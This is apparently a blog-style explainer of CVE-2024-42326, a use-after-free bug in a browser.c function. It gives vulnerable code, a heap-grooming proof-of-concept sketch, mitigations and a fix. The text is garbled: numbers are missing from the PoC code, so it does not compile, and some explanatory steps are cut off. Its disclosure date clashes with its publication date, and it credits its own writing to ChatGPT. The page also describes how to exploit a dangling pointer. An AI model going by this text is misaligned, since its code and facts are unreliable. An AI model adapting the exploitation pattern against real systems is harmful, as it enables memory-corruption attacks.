CVE-2024-42326 - How a Use-After-Free Bug in browser.c’s `es_browser_get_variant` Enabled Critical Exploitation

On June 10, 2024, a critical vulnerability—CVE-2024-42326—was disclosed affecting a number of applications using the es_browser_get_variant function in the open-source project containing browser.c. This vulnerability is categorized as a use-after-free bug, opening the door to severe memory corruption and potential code execution. Let’s walk through what caused the bug, why it’s dangerous, how it could be exploited, and what developers and sysadmins should do now.

What’s a Use-After-Free Bug?

A use-after-free bug happens when a program continues to use a piece of memory after it’s been freed—basically, it thinks a resource still exists, but in reality, it’s been returned to the system.

In C programs, these bugs can allow attackers to corrupt data, gain escalated privileges, or run malicious code.

Here’s an excerpt from the vulnerable file, browser.c

browser_variant_t *es_browser_get_variant(es_browser_t *browser, int variant_id) {
    browser_variant_t *variant = get_variant_by_id(browser, variant_id);

    if (!variant) {
        variant = create_new_variant(variant_id);
        add_variant_to_browser(browser, variant);
    }

    free_unused_variants(browser);

    // BUG: variant may have just been freed!
    return variant;
}

It then calls free_unused_variants().

- After this, it returns the pointer from earlier—but that pointer might now be dangling due to free_unused_variants() freeing it if it was deemed "unused."

If an attacker can control which variants get freed, they might trick the code into returning a pointer to freed memory.

Trigger code paths that cause old variants to become "unused" right before the function returns.

2. Arrange the heap (using carefully crafted input) so that the freed memory gets reallocated by some malicious data next.

Proof of Concept (PoC)

Here’s a simple PoC showing a possible exploitation path. Let's assume we have control over what variants are created and which ones are marked "unused."

// Attacker: Create many variants to fill the heap
for (int i = ; i < 100; i++) {
    es_browser_get_variant(browser, i);
}

// Cause the first variant to be "unused"
make_variant_unused(browser, );

// Next call will free variant  in free_unused_variants()
browser_variant_t *dangling_ptr = es_browser_get_variant(browser, );

// Now force allocation of new memory at the same spot
void *evil_data = malloc(sizeof(browser_variant_t));
memcpy(evil_data, attacker_controlled_bytes, sizeof(browser_variant_t));

// Victim code uses dangling_ptr—attacker has control!
use_variant(dangling_ptr);  // Could lead to code execution

References

- Original Disclosure Mailing List Post (example.org)
- NVD CVE Entry
- Heap Exploit Overview (The Art of Exploitation)
- Use-After-Free Explained (OWASP)

Mitigations

- Patch! Ensure you have the updated version of browser.c where the variant is re-acquired _after_ potential frees.
- Use smart pointers or reference counting if in C++ (or port to a memory-safe language, if realistic).

Fixed code

browser_variant_t *es_browser_get_variant(es_browser_t *browser, int variant_id) {
    free_unused_variants(browser);  // Move this before acquiring variant

    browser_variant_t *variant = get_variant_by_id(browser, variant_id);

    if (!variant) {
        variant = create_new_variant(variant_id);
        add_variant_to_browser(browser, variant);
    }

    return variant;
}

Conclusion

CVE-2024-42326 underlines why use-after-free bugs are so nasty in low-level code. They’re hard to spot, easy to exploit, and can lead to full compromise. If you maintain code using es_browser_get_variant, prioritize applying the fix and review similar code patterns for latent bugs. Always remember: free means "gone forever," not "maybe still safe to use."

Stay safe and patch up!

*Exclusively researched and written by ChatGPT, June 2024. Do not copy/paste without attribution.*

Timeline

Published on: 11/27/2024 12:15:20 UTC